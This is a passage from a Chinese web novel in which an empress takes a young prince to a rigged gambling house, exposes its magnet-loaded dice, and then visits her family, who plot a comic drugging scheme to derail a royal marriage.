齐子衡丝毫不感兴趣:“那这蝈蝈有何用处?只为争一虚名,便将所有的功夫都花费在一虫子身上,大好时光不读书,不去陪伴子女,更不去母亲膝下承欢,在此处争来斗去……有意义吗?”
“蝈蝈的生命只在朝夕,人生也并未长到哪里去,待到岁月枉过,回头发现时日都浪费在蝈蝈身上,岂不悔哉?”
两人就站在蝈蝈摊的人群后。
齐子衡此话一出,刚刚还愤愤斗狠的人都回过头来凉凉地望着二人,摊主更是眼睛都要冒火了。
赵听嫣赶忙拉着齐子衡离开。
……再不跑恐怕得挨打。
赵听嫣实在不明白齐子衡身上这股正的发邪的劲儿是从哪学来的。
警告了他不要乱讲话后,赵听嫣看到了不远处的赌坊。
登时来了精神。
“对于斗蝈蝈的人来说,并不只是为了争强,胜了亦可获得酬金,赢了赚钱,输了赔钱,乐趣便在这‘赌’字上。”
赵听嫣勾了勾唇:“赌,是所有人一生都会经历的课题,我今日便带你长长见识……”
说着就拉着齐子衡抬腿往赌坊走。
“……夫人!”彩环一把拽住她的袖子,震惊道,“您要带四……四公子去哪儿?”
“公子年幼,这种地方可去不得啊!”
越是去不得越得去啊,恶习都得从小培养!
赵听嫣装模作样地拍着齐子衡的肩膀:“我也得带衡儿去见识见识,什么叫人性之恶啊!”
彩环愣了一瞬,立刻了然,看向赵听嫣的神情也多了几分崇敬。
不愧是皇后娘娘!
赌坊那可是人性之洼地,在四殿下年幼之时便带他了解此间之恶,便可让其终身警醒!
这是拿赌徒们当反面教材呢!
赌坊内果然乌烟瘴气,有嘶喊叫骂声,也有赢了钱的欢呼声,更多的则是赌徒们输到倾家荡产的哭声。
赵听嫣观察着几个桌子,大部分玩的都是骰子比大小,还有一些是她看不懂规则的骨牌。
于是她拉着齐子衡来到人最少的一桌比大小,把怀里的银锭和珠宝都掏了出来,塞进齐子衡怀中:“走,这些做本,咱们去把他们这一桌的钱都赢光!”
18.神仙小公子
赌之所以会让人上瘾,便是赢过之后的巨大喜悦。
那种喜悦会让人产生一种错觉,仿佛即便一败涂地,也有逆风翻盘的机会。
所以大多赌术骗局都会先让人尝点甜头,将心中的瘾调动起来后,再抄底。
十赌九骗,赵听嫣以为,以他们的穿着打扮以及这些外露之财,会让赌坊的人把他们当做大鱼。
那至少会让他们先赢几局,赵听嫣也好让齐子衡感受感受赌博的乐趣。
谁知道这赌坊不玩那一套,见到肥羊拽着就啃,玩了十几局比大小赵听嫣一次也没赢过,带进来的金银如今只剩一串珍珠项链了。
赵听嫣简直一个头两个大。
再看齐子衡,这小子竟然一脸平静,在接触到她的视线后:“夫人,待下一局我们把这串珠输掉后就快些回府吧,老夫人怕是要等急了。”
赵听嫣:……
“你就这么确定我会输?”
齐子衡歪头看她:“夫人来的时候难道没有做好输的打算吗?”
赵听嫣无奈扶额:“谁来赌坊是会为了输的啊!”
“可既为赌,便是不能有十足的把握赢,没有把握的事情,难道不应当做出最坏的打算吗?”豆芽大的小孩,满口哲思,竟是显得整个赌坊的大人都是蠢材一般,“赌可怡情,怡情之事自是在自己有余力的基础上做,有十赌一,那一成输了也不会颠彻生计,若是有十赌十,便是不计后果了。”
“所以夫人,输完那串珠我们便回去吧,不然再输下去就该心疼了。”
齐子衡话音刚落,赌桌对面一双眼赤红的中年男子发狠似的拍了下桌子。
他比赵听嫣几人来的还要早,这桌上除了赵听嫣,就他一直在输,此时身上的银两已经尽数入了庄家的口袋。
“老子就不信了!今日出门前明明烧了三株莲花香,当是吉兆!再来!老子必定翻盘!”中年男子显然已经上头了。
旁边的人嘲讽他:“老张你还有钱嘛?地契昨日不是刚当了?”
桌上传来一阵哄笑声。
被唤老张的中年男人捏紧了拳头,砰的砸向桌面:“老子还有个闺女!这局以我闺女做赌注,若是输了,闺女你们带走!若是赢了……”
他眼中迸发出贪婪的光芒,仿佛已经看到自己发大财的样子:“老子就发了!也不必赎回地契了,老子明日便去买个更大的宅子哈哈哈哈——”
看来有十赌十都低估他们了,真正的赌徒会以一赌百。
赌徒的闺女又何其无辜,明明什么都没做错,却要被亲生父亲当做赌注输出去……
齐子衡有些失落地垂下眼。
赵听嫣看了眼他落寞的模样,心中暗喜,有戏了。
“你不想他输吗?”
齐子衡抬起头,神情有些不忍:“他女儿着实无辜……”
“那这样,”赵听嫣蹲下来,凑在他身边低声道,“一会儿我们跟他反着买,若是他赢了,我们左右不过输一串珠子,他女儿便可保住,若是我们赢了,我们就私下将他女儿的身契还给他如何?”
齐子衡眼睛终于亮了:“如此甚好!”
赌桌上嘛,有欲望才会上头,不论这欲望源自何处,哪怕是对于他人的怜悯,总归是让他对此事产生了些兴趣的。
很快,下一局比大小开始了。
两个骰盅,每个盅内都有一颗骰子,经过均匀的摇晃后,庄家会先开一颗骰子的点数。
玩家们可根据这颗骰子的点数进行判断,若是两颗骰子的点数之和小于等于六,那便是小点数,若是大于六,就是大点数。
但若第一颗骰子直接开出六,庄家就会重新摇骰盅。
第一颗骰子开出的数字是四。
这其实是个大点数,只要另一颗骰子开出的数字大于二,便是大。
因此大点数的几率要大于小点数。
玩家们都深谙此道,因此大部分人都选则压大。
以统计学分析,压大的胜率当然高一些,可运气一事,有时往往站在少数人这边。
那位抵押闺女的赌徒老张满头大汗,终于还是纠结地随了大流,压大。
赵听嫣冲齐子衡努努下巴,齐子衡便将那串珍珠项链放在了压小的那一堆,然后紧张地看了老张一眼。
“开盅——”
在众人屏息之中,另一个骰盅也被打开。
是一点。
四点加一点,总共五点小,幸运还是站在了少数人这边,齐子衡赢了。
刚刚赵听嫣输掉的银两和首饰都一股脑被还了回来,还多赢了几个银锭子。
老张尖叫一声,整个人都趴在了赌桌上,目眦欲裂:“怎么可能!不可能——”
“怎么可能是一点!这不可能——”
“我把翠儿输了,怎么办,我把翠儿输了呜呜呜……”
中年大汉捂着脸瘫坐在地上,眼泪鼻涕糊了一脸,像是悔极了。
齐子衡来到他身边,伸手扯了扯他的衣袖:“大叔,你莫要悲伤,你女儿的身契我可以还给你,你快快回家去,莫要再赌了。”
老张一愣,见来人是个衣着华贵的小公子,立刻跪下,头磕的砰砰响,一把鼻涕一把泪地哭道:“多谢公子!公子真是天神般的大善人!我再也不赌了!再也不赌了——”
齐子衡正打算扶他起来,赵听嫣提醒道:“可是他女儿的身契不止输给了我们一家。”
输家的赌注赢家平分,这一局的赢家有三人,按理来说应是三人平分这份身契。
待小姑娘被卖掉,所得银两平均分给三人。
旁边几人大概是赌坊的托,立刻在齐子衡耳边添油加醋道:“小公子如此心善,必定被上天眷顾运气极好,不如再赌几局帮他把闺女的身契彻底赢回来?”
齐子衡皱着眉,抬头看向身后的赵听嫣:“夫人,我可以用赢的这些银两赎回身契吗?”
赵听嫣挑眉看他:“你为何不听他们的,直接赢回来?”
齐子衡像个小大人似的,沉声道:“只要赌便可能输,我的本意是帮他,若是做不到十拿九稳,又怎么能叫帮呢?”
“再者说,我若是靠赌去赢回那份身契,又有什么立场叫他收手不再赌,我岂不是和他一样,将那小姑娘的终身当做玩乐的赌资?”
小小的齐子衡衣袂飘飘清醒理智,与周围浑浊的嘈杂格格不入。
他真挚可爱的模样竟让赵听嫣有片刻的分神。
这样人间清醒的孩子,又怎么可能对赌博这种浑浊的游戏上心呢?
她心中突然产生了一种莫名的拉扯感,良心有些不安。
算了算了,赌博这事儿太脏了,不适合齐子衡,也没人规定将来会弑父夺位的反派一定得学会赌博。
“去吧。”赵听嫣把钱塞给齐子衡,“把那小姑娘赎回来。”<
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p>做了好事的齐子衡仿佛整个人都在发光,那种授人玫瑰的喜悦与往常都不一样,是一种洗涤心灵的满足。
齐子衡又去嘱咐了老张一番,见他一副痛改前非的模样,这才满意地回到赵听嫣身边。
像是想到了什么,齐子衡迟疑了一瞬,仰头看着她:“夫人,那些钱……我,我会想办法还给你的。”
竟然是在纠结这种事。
赵听嫣在他面前蹲下来,好笑地看着他:“我的钱就是你的钱,况且这钱是为了救人用的,我还能怪你不成?”
“行啦,”赵听嫣摸了摸他的头,看向刚刚赌桌的位置,“再带你长长别的见识。”
十赌九骗,在任何朝代都不会例外。
刚刚一直输的时候赵听嫣就发现了,赢家始终就是那么几位,还若有似无的跟桌上几个托儿有眼神交流,八成这一桌的人都是做局的。
现在再看庄家手中那两个骰盅,约莫是放了磁石之类的机关。
既然已经改变主意,不想让齐子衡沾染上这种愚蠢的恶习,那自然是要将奸害除到底的。
赵听嫣冲身后的武侍使了个眼色,两名武侍立刻上前,在那庄家准备摇骰盅之事捉住他的手腕,迅速将骰盅翻了过来。
果不其然,骰盅内壁嵌着一块磁石机关,若是拨动机关,便可让铁芯的骰子由大点数变成小点数。
“竟然出千!”
“这不是骗子吗!把骗我们的钱都还回来!”
“这赌坊是骗人的!他们出千,快去报官——”
众人立刻喧闹起来,被钳制的庄家目露凶光,围在赌桌前的那几个托也迅速朝赵听嫣和齐子衡冲了过来。
赵听嫣带了六名武侍,各个都是好手,并不足以让赌坊的人近身。
不过此处也无需他们施展了,在赌坊的人动手之前,门口已经传来喧闹声——
“京兆府尹到——”
赵听嫣早前发现赌坊出千时就已让彩环去京兆府尹报了官。
匆匆赶来的京兆府尹看到赵听嫣,吓得腿都软了,连忙想要下跪,但想到皇后身边那位来请他的侍女说,皇后娘娘此次是微服出巡不便暴露身份,便只好冷汗涔涔地鞠躬行礼:“夫人和……公子没有受惊吧?”
京兆府的官兵迅速将赌坊团团围住,赵听嫣问道:“府尹大人,南齐律例对赌坊营业可有要求?在赌局金额上可有限制?允许抵押人口吗?”
京兆府尹脸都白了:“都是下官失察!从今日起必定对各个赌坊严查!这聚贤赌坊出千,即刻起勒令关闭!”
赵听嫣本也不是为了追责来的,懒得计较过多,叮嘱了几句,便挥手准备离开。
谁知这时刚刚那名唤老张的中年男子从角落冲了出来,跪在二人面前,拽着齐子衡的衣角哭诉道:“神仙小公子!神仙小公子您行行好,救救我女儿吧!别让他们把我女儿带走!”
齐子衡一脸茫然:“你不是已经带着你女儿的身契回家了吗?”
老张支支吾吾,只顾着跪在地上哭:“我……我刚才没走,我……”
赵听嫣看了眼齐子衡头顶的发髻,视线凉凉地挪到老张身上。
本不想给齐子衡泼这桶冷水的,可这一课终究要上。
赌徒……永远不配得到怜悯。
“他从你这里拿到身契,转头就去了别的赌桌,不过片刻……”
“闺女又被他输给别人了。”
19.外祖母
依南齐律法,赌坊中赌局单次金额不得超过二十两,更是严禁房契地契及身契的抵押。
幸而京兆府尹在此,老张因为涉及人口贩卖被捉拿,他输掉的赌局被抹去,为了防止他将来再次做出卖女赌博之事,翠儿的身契暂时由京兆府保管,待到她及笄成年,再亲自去官府取回自己的身契。
大约是碍着赵听嫣的面子,京兆府处理此案得体又迅速,让人挑不出错处。
只是齐子衡一直垂着脑袋,神情落寞。
这小子出淤泥而不染,对赌博这种恶习并无兴趣,幸而有老张出现,倒是给他上了一课。
反派嘛,哪能那么善良?
什么赌博斗蝈蝈的,这种恶习对于纨绔反派的养成来说只能算锦上添花,狠辣决绝不轻信,这才是齐子衡必须具备的品质。
赵听嫣决定趁热打铁。
“衡儿在想什么?”
齐子衡声音蔫蔫的:“赌徒的话不可尽信。”
“不止是赌徒不可信,当你将善良的底色展示给他人的时候,对方难免带着目的接近你。”
“所以即便是熟悉的人,依然不可尽信。”
既熟悉又虚伪还能是谁!亲亲父皇是也!不但不能信,还得亲手斩之!
赵听嫣已经在拼命暗示了:“当你掌握主动权的时候,别人就没办法背叛你欺骗你。”
“你想想,若是刚刚你没有将老张闺女的身契还给他,而是捏在你手中,一切就都不会发生了。”
“所以啊衡儿,若是你始终站在被动的位置,即便有能力也会被拿捏,若你站在上位,那么一切都会在你的掌握之中……”
齐子衡怔然地瞪大眼睛,像是恍然了。
很好!孺子可教也!今日赌坊之行不算白来!
皇子身份看似尊贵,实则十分被动,只有杀了皇帝爹站在真正的上位,才不会被揉圆搓扁。
赵听嫣很满意,看样子齐子衡应该是理解她的谆谆教诲了。
这让赵听嫣觉得其他的吃喝嫖赌之类的恶习培养似乎也没那么重要了。
她瞥了眼街角的青楼……算了算了,小小年纪,倒也不必那么着急。
齐子衡则紧紧攥着衣角,赵听嫣的那一番话让他掌心都变得炙热起来,看似沉默地跟着她回到马车上,实际内心沸腾异常。
他原本只当皇后娘娘带他去赌坊,是为了让他对赌生恶,让他明白赌徒早已丧失人性,赌徒之言不可信。
可皇后娘娘却告诉了他一个他从未思及的道理——
对于那些无法掌控的人或事,担忧躲避根本无用,要想办法站在主动的位置上。
是他从前太狭隘了。
他总怕皇后娘娘离开他,那是因为他一直站在被动的位置,总是坦然接受皇后娘娘对他的好,所以才会患得患失,若是有朝一日娘娘收走了她的温柔关切,那他就一无所有了。
可若是他主动一些呢?
他主动对皇后娘娘好,让皇后娘娘感受到他的爱意与关切,待到她习惯了,便离不开了。
齐子衡醍醐灌顶,回到马车上就开始贯彻自己的计划,蹲在赵听嫣面前乖巧道:“皇后娘娘,刚刚走了那么多路,您累吗?衡儿帮您捏捏腿吧!”
赵听嫣:?
街角不远处高马上的齐晔并不知道马车里的齐子衡有多孝顺,他只觉得离谱,半晌才冷着声音对身旁的侍从吴奇道:“……她居然带着四皇子去……赌坊?”
吴奇补刀:“刚刚还朝青楼那边看了眼,幸而没进去。”
齐晔不知道该怎么形容自己的心情。
自从那日桃花酥投毒事件后,他就觉得此人阴险狡诈毒辣还挑拨他与皇兄之间的关系,虽然也切切实实地在他心中埋了个疙瘩……
加之皇兄竟然真的打算让最疼爱的大公主齐子燕嫁给萧家那纨绔,他试着进宫劝说,被皇兄打了一番太极,他心底的疙瘩就越埋越深了。
因此他是打算自己想办法阻止这场婚事的。
他猜测赵听嫣应当也是有所动作的,毕竟此女野心勃勃觊觎皇位。
他心中有矛盾,一方面不想自己向来乖巧懂事的侄女嫁入萧家,让亡嫂寒心,一方面又不想为赵听嫣做了嫁衣,毕竟若是阻止了这场有利于萧家的婚事,赵听嫣也是间接获利者……
因此他特地前来盯梢,想看看此女出宫后会有什么动作。
谁知道她还未到赵家,就先带着四皇子去了赌坊,甚至还想去青楼。
这么小的孩子,就妄图让其染上一身恶习,她到底想不想让这孩子争储啊?
等等。
难道说……
齐晔摸着下巴,眼神变得凝重起来。
他侧身问身旁的吴奇:“那家赌坊……我记得似乎是萧家的产业?”
侍从也恍然大悟:“原来如此!还是王爷明察秋毫!”
“原来皇后娘娘真正的目的是萧国公府!着京兆府尹查抄了萧家的赌坊,在我朝赌坊违规经营乃是重罪,陛下眼皮子底下萧家就敢如此胆大妄为,保不准背后还有更多见不得光的生意和势力,皇后娘娘等于将其老底掀到明面上,那萧国公府的罪名就再加一等……”
“如此一来,这等重罪即便无法搅黄大公主与萧世子的婚事,也能将其拖延一二……”
齐晔抿唇:果然狡诈。
至于将四皇子带入赌坊之中……此女向来诡计多端,行事喜欢一箭双雕。
带着四皇子一起查抄赌坊,怕是也想让四皇子看清十赌九骗,涨涨心计。
四皇子才五岁,她竟然已经对他进行如此深刻的言传身教……
实在是……
狡诈!
……
“阿嚏!”
赵听嫣在马车上晃悠着,莫名其妙打了个喷嚏,感觉有人在背后骂她。
不知道为什么,她总觉得今天好像怪怪的,似乎要有什么大事发生。
齐子衡也奇奇怪怪的。
上了马车之后就像是突然被人打开了阀门似的,殷勤的不得了,一会儿给她捏腿一会儿给她捶肩,然而等车夫禀报,再过两条街就可抵达赵府后,这小子又突然蔫了。
这会儿就坐在她身旁绞手指,看起来十分忐忑。
赵听嫣大概猜到了缘由,无非是类似于近乡情怯的情绪,加之当初刚刚带他回坤宁宫时,赵擎的态度有些冷硬,定是在这小子心里埋了根刺,怕赵家人不喜爱他。
赵听嫣倒是不担心。
虽说她是穿来的,但经过这些时日对赵家人的了解,都是直肠子热心人,对小赵听嫣想当太后的事业都那么支持,怎么可能会苛待她收
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养的孩子。
赵听嫣本来想劝慰齐子衡几句。
但转念一想,说的再多也不如他亲眼看到的,若是说的太明显,以这小子敏感的心思,兴许还会以为是她提前跟赵家人打好招呼,赵家看在她皇后的面子上才对他殷切。
反倒画蛇添足。
于是赵听嫣也就没搭腔,任凭齐子衡手指头绞成麻花。
齐子衡知道他应该淡定些,皇后娘娘刚刚教过他那么有用的道理,他只要日后真切些、主动些,皇后娘娘应当是不会抛弃他的。
可回想起娘娘的兄长那日来坤宁宫时的表现,他就不得不忐忑。
道理都懂,可还是怕皇后娘娘的家人不喜欢他。
怕他还来不及主动对皇后娘娘好,就已经因为家人的不喜爱,而被丢弃了。
这种恐慌紧张的情绪一直持续到马车停在赵府门口。
赵听嫣搡了他一下:“愣着干什么,下车啊。”
齐子衡腿有些软,直到赵听嫣掀开车帘,一个衣着雍容,表情温暖喜气的中年妇人映入他的眼帘:“可算回来了!”
接着便朝齐子衡望了过来,笑眯眯地朝他张开怀抱:“这便是衡儿吧,快来,外祖母抱你下车。”
外……外祖母?
这应当是皇后娘娘的母亲,她自称外祖母,那是不是意味着……
齐子衡眼眶不禁热了起来,四肢僵着不敢动,有些胆怯地朝赵听嫣望过去,似乎是觉得,这么亲昵的身份,应当得到她的许可才行。
赵听嫣也没想到赵母这么热情。
她虽然并非真正的小赵听嫣,可不知道为什么,从第一次见到赵擎那一刻起,血脉之中那股天生的亲缘就让她对赵家人有种莫名的亲近。
就好像……他们真的是自己的家人一般。
哪怕赵母也是她第一次见,可就是觉得亲切熟悉,甚至可以毫无防备地像她真正的女儿一样,与她说笑:“我就知道您是在装病。”
赵听嫣笑着冲齐子衡点了点头,又轻轻拉了他一把,将他送进赵母的怀中。
齐子衡乍然落入一个暄软的怀抱中,呆呆的不敢动弹。
“还不是你兄长!整日拿我编排,若是我有朝一日真的病了,便是他咒的!”
赵母一边回答赵听嫣的话,一边低头看怀里的齐子衡,露出一个和蔼的笑容来:“这孩子怎么还认生?”
“不怕,叫声外祖母来听听,外祖母给你准备了好吃的!”
齐子衡小脸红扑扑的,又紧张地看了赵听嫣一眼,见对方并未阻止,这才胆怯地看向赵母,小声嗫喏:“外祖母金安。”
赵母乐呵呵的应了一声,抱着他进院子,看上去当真是喜爱的不得了:“你那废物舅舅和姨母,一大把年纪了也都不成婚,你可是我们赵家唯一的宝贝孙儿,瞧这小脸蛋长的俊的,合该是我们赵家的孩子!”
齐子衡似乎放松了不少,终于不再绷着身体了,抬手搂住了赵母的脖子。
赵听嫣被喜气洋洋的家庭氛围感染,步伐轻松的跟在赵母身后进了院子,结果刚进门,就看到门后闪出来一张幽怨的脸。
是她的好哥哥赵擎。
赵擎沉着脸,恨铁不成钢地说:“听说你刚一出宫,就带着京兆尹端了萧家的赌坊?”
赵听嫣:???
20.赵家
微服出巡,赵听嫣也不喜欢摆皇后的仪仗,加之赵家向来家庭氛围松弛,便也没人真的将她当皇后对待。
以至于向来教条的礼部尚书赵擎都埋伏在门口逮她了。
只是他的话让赵听嫣有点不明白:“端了……萧家的赌坊?”
赵擎恨不得朝她脑袋拍一巴掌。
只因齐子衡在前面频频回头张望,才堪堪忍住:“说是微服出巡,实则皇后娘娘尊驾出了宫就去赌坊惩恶扬善一事,已经传遍京城了。”
“你怎么想的?这个节骨眼居然去针对萧家的赌坊?”
“萧家?”赵听嫣总算反应过来,“那个赌坊竟然是萧家的?”
赵擎挑眉:“你真不知道?”
“听说赌坊都是连锁的?”
赵听嫣:“……要是早知道是萧家的产业,我就扫黑除恶一条龙了。”
赵擎:……行吧。
赵听嫣倒是没有像赵擎一样对这次的歪打正着有多悲观。
左右她身份在这里摆着,萧家就算气的要死也不敢拿她怎么样,说不定还会把这笔账算在齐渊头上。
至于齐渊那边……那条老狐狸肯定早就料到了她会动手,如此也算是为她真正的计划打了掩护。
赵擎头疼的说:“你真以为这是什么好事吗?此举还是太莽撞了。”
“我知道你想挑出萧家的错处,这事交给我来做,陛下那边只能当做是萧家与赵家之间的龃龉,可你这么光明正大的插手,倒是将你借机争储打压萧家之事摆在明面上,即便陛下不明说,在你刚刚收养衡儿的当口,朝堂之上难免会有议论……”
赵听嫣心底的柔软被击中了一下。
她在现代时并无兄弟姐妹,在职场打拼多年,也向来是单打独斗,自己做事自己扛,从未有人像赵擎一般,愿意牺牲自己挡在她身前。
“哥。”赵听嫣的声线软了下来,“我知道你想护着我,但也不必一直将我护在身后。”
“这条路是我选的,你们已经替我承受了太多……”
赵擎撇开眼:“谁让你是我妹妹呢。”
“我们是家人,就该并肩而立。”赵听嫣拍了拍兄长的肩膀,“你以为你妹妹是什么笨蛋吗?我既选了这条路,自会想办法保护好自己,也会……保护好你们的。”
赵擎的眸光有些闪烁,顿了片刻,还是在她脑门上弹了下:“小时候爬树都能掉下来,要不是我接着你,屁股都摔成四瓣了,这还不是笨蛋?”
“罢了罢了,依你所言,阻止大公主与萧家联姻之事,你已有了计划?”
赵听嫣的确有一个绝妙的计划。
她四处张望了一番,扯着赵擎的衣角悄声问:“我二姐在家吗?”
“前些时日你帮她拿到雍国行商之权,她激动的很,这些时日大概都在忙活去雍国之事。说是今日见你一面,过几日就动身了。”
赵擎往门口望了望:“许是还在商号忙活,应当快回来了……”
赵擎话音刚落,一身着黛蓝色劲装的女子就出现在赵府门口。
她的眼睛和赵听嫣长得很像,鼻子比她挺拔一些,更像赵擎,因此显得颇具几分英气。
看到赵听嫣,她立刻快步走来:“嫣儿回来了!”
然后在她面前三步的位置定住,皱眉道:“怎的穿的如此寒酸?没钱花了吗?”
赵听嫣低头看了眼自己的金丝玉带锦衣以及脖子手腕和脑袋上的环佩叮当……
哪里寒酸了?
“我这还叫寒酸吗?二姐你穿的比我还朴素吧?”
赵听雨没说话,从怀里取出厚厚一叠银票塞进她怀里:“我这衣服有个专门装银票的口袋,很大,一点也不朴素。”
赵听嫣:……
赵擎打断二人散发着铜臭味的寒暄:“行了,你二姐回来了,说说你的计划。”
赵听嫣这才拽着兄姐二人悄咪咪来到院子的角落,朝赵听雨使了个眼色:“二姐,你常走西域,手里有没有那种药?”
赵听雨了然,掰着手指头悉数:“有一种药叫奇痒含笑散,中毒者会感到浑身奇痒无比,一旦发笑,痒感停止,但若停笑,又会奇痒难忍;爱江山不爱美人丸,服用者会对第一眼看到的物件产生至死不渝的爱恋;还有返祖归宗丹,服用者会认为自己是一只动物,并拥有该动物的部分习性……”
赵听嫣、赵擎:……
“都什么乱七八糟的,就没有正常一点的?”赵擎头都大了。
赵听雨白了他一眼:“正常的药京城的黑市就可以买得到。”
然后又问赵听嫣:“你想要哪种?给谁吃?多大年纪?身体如何?”
赵擎无语:“你当你是江湖郎中吗还望闻问切的……”
说着像是突然想到什么,看向赵听嫣:“你该不会是想在冬节的宫宴之上……”
“没错。”
赵听嫣道:“想要阻止这场联姻,大公主那边我试过了,没办法硬碰,所以只能从萧家世子身上下手,索性此人也不是什么好人……”
赵听雨应是听过萧世子的名号,皱眉道:“原来是那个杂碎啊,我这里倒是有一种药非常适合他。”
“此药名为相思蛊,乃是整个西域最烈性的春药,中药者会丧失神志,男女通吃,若是不及时与人相解,两个时辰后对着猫狗鸡鸭……也是有可能的。”
赵听嫣跃跃欲试:“这会不会太残忍……”
“这有何妨!”赵听雨咬牙说,“萧家那个杂碎祸害了多少无辜女子,我看等到那日宫宴之时,给他下了药直接与个男子关一起,到时候你带人‘无意间’撞破,陛下说什么也不可能将大公主下嫁给此獠了。”
“若是狠得下心,将其关进猪圈也未尝不可……”
那画面太美,赵听嫣简直不敢想象。
赵擎简直是没有耳朵听了,眉毛都被气的突突:“你们两个大家闺秀,竟能想得出如此龌龊之法……”
赵听嫣嗤了一声:“那哥哥还有更好的办法吗?既能阻止指婚,还能让皇帝下不来台?”
赵擎沉默了。
挣扎了一番,似乎终于突破了自己的心理防线:“
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……做隐秘点,反正也不会有人知道是你干的。”
“你们兄妹三人在院子里站桩呐?还要我请你们过来吃饭吗?”
赵母中气十足的喊声从主屋传来,兄妹三人赶忙收拾好表情朝屋里去。
赵母将齐子衡照顾的很好,此时竟不顾礼数地将他安排在尚未开席的餐桌旁,甚至提前把烧鸡的两条鸡腿都掰了下来,让齐子衡一手拿一个直接啃。
齐子衡哪里敢吃,正局促地被赵母摁在椅子上,见赵听嫣几人过来,连忙跳了下来。
求救似的朝赵听嫣望过去,结果看到她身旁的赵擎,吓得呼吸都快停滞了。
向来尊礼的赵尚书看到他如此没规矩地吃鸡腿,席面还未开他一个小辈就坐上去了,肯定要痛斥他没规矩……
齐子衡忐忑极了,手都不知道该往哪里藏。
果然,赵擎沉着脸朝他走了过来,拂袖拿起旁边的茶盏。
完了,定是气急,要摔盏泄愤!
齐子衡害怕地闭上眼睛,然而下一刻,温暖的大掌突然抚了抚他的头顶,赵擎居然蹲在他面前,递给他一杯茶:“慢慢吃,别噎着。”
说着又看向赵母:“母亲,他这么小的孩子一顿吃两个鸡腿,岂不是一下子就吃饱了?我专门去东街给他买的蟹粉丸子还怎么吃得下?”
齐子衡怔忪地睁开眼,不可置信地看向赵擎。
赵擎有些不好意思地替他拭了拭嘴角的油:“衡儿,初见那日是我太着急了,态度不好,并非针对于你,我知道你是个好孩子。”
“说起来,你应当叫我一声舅舅的。”
齐子衡脑袋懵成一团,面前是表情温柔和煦的赵擎,他下意识的看向赵听嫣寻求许可,在得到对方鼓励式的笑容后,终于喃喃道:“舅舅。”
赵擎展颜:“衡儿不必紧张,赵家就是你外祖家,我们都会是你最亲近的家人。”
“有像衡儿这么聪慧乖巧的外甥,我高兴还来不及呢。”
说着又小声凑在他耳边道:“你瞧瞧你外祖母欢喜的样子,有了你帮我吸引火力,也省的你外祖母天天催着我娶妻生子了。”
外祖母……舅舅……
这些曾经完全陌生的称谓,此时竟然都真切地出现在齐子衡面前,用最温柔的方式,安抚着他孤寂的灵魂。
如果说皇后娘娘是他的救赎,那此时的外祖家,就真切地让他有了归属感,让他体会到了真正属于亲缘的羁绊。
赵擎似是还想与他讨论一些学业的事情,赵听雨上前来把人扒拉走:“真好意思啊你,一碗蟹粉丸子就拾了个外甥?”
只见她从背后解下一个包袱,拆开后竟然发现这包袱里鼓鼓囊囊地装的全是银票。
然后就财大气粗地塞进齐子衡怀里:“姨母与衡儿初次见面,没什么拿得出手的东西,还望你不要嫌弃。”
“对了还有这个。”
赵听雨取出一只印有“赵”字的精巧令牌:“这是赵家银号的手令,凭此令牌在南齐的所有赵家银号都可以随意支取现银,赵家人都有,你也该有一个。”
21.负荆请罪
赵擎嘲讽赵听雨一身铜臭气,赵听雨嫌弃赵擎抠门。
赵母给了两人一人一巴掌:“衡儿,我们赵家世代从武,可惜你舅舅姨母都是不成器的,总不能让我们赵家之武学在此断了根。”
赵母让下人取了两只托盘来。
掀开托盘上的红布,一面是一把精巧的长剑,一面是一杆威猛红枪。
赵母又递给齐子衡两本兵谱:“这柄剑是我给你准备的,乃是江湖中最有名的神兵谷打造,外祖母会让人照着这兵谱慢慢教你剑法。”
“这杆红枪则是你外祖父从北疆传信来,特地嘱咐我交给你的。”
“你外祖父年轻时就是用这杆枪杀了雍国五百军将,你是我们赵家的孩子,这份英武自当由你来继承。”
此番嘱托,不仅是齐子衡颤抖垂泪,赵听嫣也十分动容。
真是……太好了!
正愁不知道找谁找什么理由教齐子衡学武呢,要是现在就好好学习剑法,以他们赵家的武学渊源,到时候斩杀狗皇帝岂不是小菜一碟?
赵听嫣正喜着,赵擎又差人搬来好几大箱的书卷:“衡儿,这是舅舅为你准备的。”
“听国子监的李夫子说,衡儿聪慧机敏,在读书上十分通窍,舅舅也认为君子当读万卷书,这些都是舅舅这些年来搜罗的各种孤本,除了书经之外,还有各种兵法,这次你便一同带回宫中去……”
赵听嫣:……大可不必!
“还是习武更重要!”
赵听嫣连忙揽住齐子衡跃跃欲试的肩膀,这小子看来是真的爱读书,看到那几个大箱子眼睛都亮了。
众人都看着,赵听嫣也没办法直接阻拦,只好蒙混道:“谁知道你舅舅都弄的什么书,万一少儿不宜……这样,我先搬回坤宁宫帮你检查检查,待你长大些再慢慢看,你且先慢慢习字,把字认全了再说。”
“先吃饭!吃饭!”
倒是插科打诨的糊弄过去了,一家人在一起热热闹闹地吃了顿饭,饭后赵母兴奋地带着齐子衡在院子中操练起来。
小豆丁没比剑高多少,但却学的很快。
赵听嫣十分欣慰,觉得自己的任务完成指日可待。
不过院子里似乎不止赵听嫣一个人用这种欣慰的眼神看齐子衡习武,角落里站着一个黑衣家仆,也在盯着齐子衡看。
即便他隐匿在阴影中,赵听嫣还是感受到了他灼热的视线。
赵听嫣觉得奇怪,便往他那边的方向去,谁知那人很快就察觉到了她的意图,转身就要走。
“站住!”赵听嫣也急了,指着那人的背影吼道。
正在教齐子衡剑法的赵母闻声走来:“嫣儿,怎么了?”
见赵母赶来,那黑衣人终于不跑了,只是垂着头站在原地。
赵听嫣小跑到他身旁,接着廊下烛火,终于看清了这人的样貌——
他大约四十岁的模样,留着浓密的络腮胡,但还是能清晰的看出隐匿在胡子之下的骇人长疤。
饶是赵听嫣做了心理准备,还是被他的样貌吓了一跳。
男人沉默着冲赵听嫣拱了拱手。
她没忍住退了几步,沉声问赵母:“母亲,他……”
“这是阿黎,你当叫他一声黎叔。”赵母解释道,“你进宫后他才来的,你大概没见过他。”
“他曾是你父亲威远军中一名悍将,后来在战场受了伤,不但容貌有毁,嗓子也坏了,你父亲便将他送回来在咱们家谋个生计。”
“他是个可怜人,但胜在功夫好,我便让他做护院了。”
赵听嫣狐疑地看了黎叔一眼。
可能是她多虑了吧,这种沉默型的保镖都会到处巡查,赵母和齐子衡在院子里练剑,他过来多看几眼也是职责所在。
大概是赵家人的热情和温暖让齐子衡放下了心防,兴冲冲与赵母约定,明天一早再跟她学剑。
赵听嫣好不容易回了娘家,不必像在宫中似的日日晨昏定省,寻思着早上兴许能睡个懒觉。
